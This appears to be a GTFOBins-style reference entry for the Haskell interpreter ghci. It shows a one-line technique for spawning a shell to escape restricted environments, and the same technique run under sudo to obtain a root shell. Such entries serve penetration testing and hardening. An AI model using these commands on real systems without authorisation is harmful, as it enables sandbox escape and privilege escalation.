.. / ghci

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• Shell
• Sudo

Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

• ghci
  System.Process.callCommand "/bin/sh"

Sudo

If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

• sudo ghci
  System.Process.callCommand "/bin/sh"